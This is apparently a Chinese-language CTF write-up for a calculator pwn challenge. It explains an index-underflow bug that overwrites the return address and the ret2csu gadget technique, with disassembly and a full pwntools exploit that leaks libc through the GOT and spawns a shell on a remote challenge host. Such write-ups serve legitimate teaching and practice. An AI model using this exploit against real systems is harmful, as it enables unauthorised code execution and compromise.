一道综合的ret2scu题目
如何劫持程序流程?

题目实现了一个计算器的模拟,通过对内存栈分区的操作保存数字,题目提示在计算部分操作
在程序的编辑函数模块中有个关键漏洞,首先getnum函数也就是一串字符串并将它自动转化为一个8字节长整数,这里的v3是无符号整数,v3-1本意是想实现用户输入的index(从1开始)和数组index(从0开始)的转换,a1是main函数提供的储存数据的指针,刚好位于main函数栈的栈顶

那么根据c语言调用栈的规律,从main函数进入 到edit_number这个函数新增了一个栈帧,返回地址就是在main函数栈顶的低8位的一个位置,也就说,当我们输入which number 为 0时,result的值将赋给edit number这个函数的返回位置,我们便有了操纵程序运行流的能力
Ret2CSU
解决了控制程序返回地址的问题,接下来就要考虑构建rop链输出got表偏移量(程序开了RELRO(ReLocation Read-Only)),从而利用libc得到shell
正常用write泄露地址需要提供三个变量,也就是要控制三个寄存器,rdi rsi rdx,但是用ROPgadget没有找到有关rdx的gadget,于是考虑ret2csu(这个我本应该在buu题就写的,拖到现在才写也是懒到爆了)
__libc_csu_init 是一个x64程序常见的函数 看他的汇编代码会有一些强大的gadget
.text:00000000004011F0
.text:00000000004011F0 ; =============== S U B R O U T I N E =======================================
.text:00000000004011F0
.text:00000000004011F0
.text:00000000004011F0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004011F0 public __libc_csu_init
.text:00000000004011F0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004011F0 ; __unwind {
.text:00000000004011F0 push r15
.text:00000000004011F2 push r14
.text:00000000004011F4 mov r15, rdx
.text:00000000004011F7 push r13
.text:00000000004011F9 push r12
.text:00000000004011FB lea r12, __frame_dummy_init_array_entry
.text:0000000000401202 push rbp
.text:0000000000401203 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040120A push rbx
.text:000000000040120B mov r13d, edi
.text:000000000040120E mov r14, rsi
.text:0000000000401211 sub rbp, r12
.text:0000000000401214 sub rsp, 8
.text:0000000000401218 sar rbp, 3
.text:000000000040121C call _init_proc
.text:0000000000401221 test rbp, rbp
.text:0000000000401224 jz short loc_401246
.text:0000000000401226 xor ebx, ebx
.text:0000000000401228 nop dword ptr [rax+rax+00000000h]
.text:0000000000401230
.text:0000000000401230 loc_401230: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401230 mov rdx, r15
.text:0000000000401233 mov rsi, r14
.text:0000000000401236 mov edi, r13d
.text:0000000000401239 call ds:(__frame_dummy_init_array_entry - 601E10h)[r12+rbx*8]
.text:000000000040123D add rbx, 1
.text:0000000000401241 cmp rbp, rbx
.text:0000000000401244 jnz short loc_401230
.text:0000000000401246
.text:0000000000401246 loc_401246: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000401246 add rsp, 8
.text:000000000040124A pop rbx
.text:000000000040124B pop rbp
.text:000000000040124C pop r12
.text:000000000040124E pop r13
.text:0000000000401250 pop r14
.text:0000000000401252 pop r15
.text:0000000000401254 retn
.text:0000000000401254 ; } // starts at 4011F0
.text:0000000000401254 __libc_csu_init endp
函数一般分为3部分, 我们重点看后面两部分,loc_401246 对rbx,rbp,r12,r13,r14,r15 寄存器的数据的修改,而loc_401230 实现了对前三个参数传递的寄存器的赋值,并且我们可以通过控制rbp和rbx的值来结束循环
在实际应用中,我们一般先返回到0x0040124A 控制rbx,rbp,r12,r13,r14,r15,一般设置为rbx=0,rbp=1。
然后我们再返回到 loc_401230 对传递参数的寄存器赋值,注意 这里有个小技巧
0000000000401239 call ds:(__frame_dummy_init_array_entry - 601E10h)[r12+rbx*8]
让我们提前可以返回到另外的地方,只需将r12的值设置为返回地址即可,因为我们刚刚将rbx设置为0了
如此一来,我们就实现了对多参数函数的利用
Exp
from pwn import *
from LibcSearcher import LibcSearcher
context(os="linux",arch="amd64",log_level="debug")
#sh = process("./calc")
sh = remote("8.147.132.32",38529)
elf = ELF("./calc")
#attach(sh)
bss = elf.bss()
pop_rdi = 0x0401253
pop_rsi_r15 = 0x401251
csu_end = 0x40124A #rbx,rbp,r12,r13,r14,r15
csu_front = 0x401230
read_got = elf.got['read']
write_got = elf.got['write']
main = 0x4010B4
ret = 0x4006b6
def edit(where,what):
sh.sendafter(b"5. Exit\n> ",str(2))
sh.sendafter(b"Which number?\n> ",str(where))
sh.sendafter(b"Change to what?\n> ",str(what))
edit(1,0) #rbx
edit(2,1) #rbp
edit(3,write_got) #r12
edit(4,1) #r13
edit(5,read_got) #r14
edit(6,0x8) #r15
edit(7,csu_front)
edit(15,main)
edit(0,csu_end)
read_addr = u64(sh.recv(6).ljust(8, b'\x00'))
print(hex(read_addr))
libc = ELF("./calc_libc.so.6")
libc_base = read_addr - libc.symbols['read']
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols["system"]
edit(1,binsh)
edit(2,ret)
edit(3,system)
edit(0,pop_rdi)
sh.interactive()

Comments NOTHING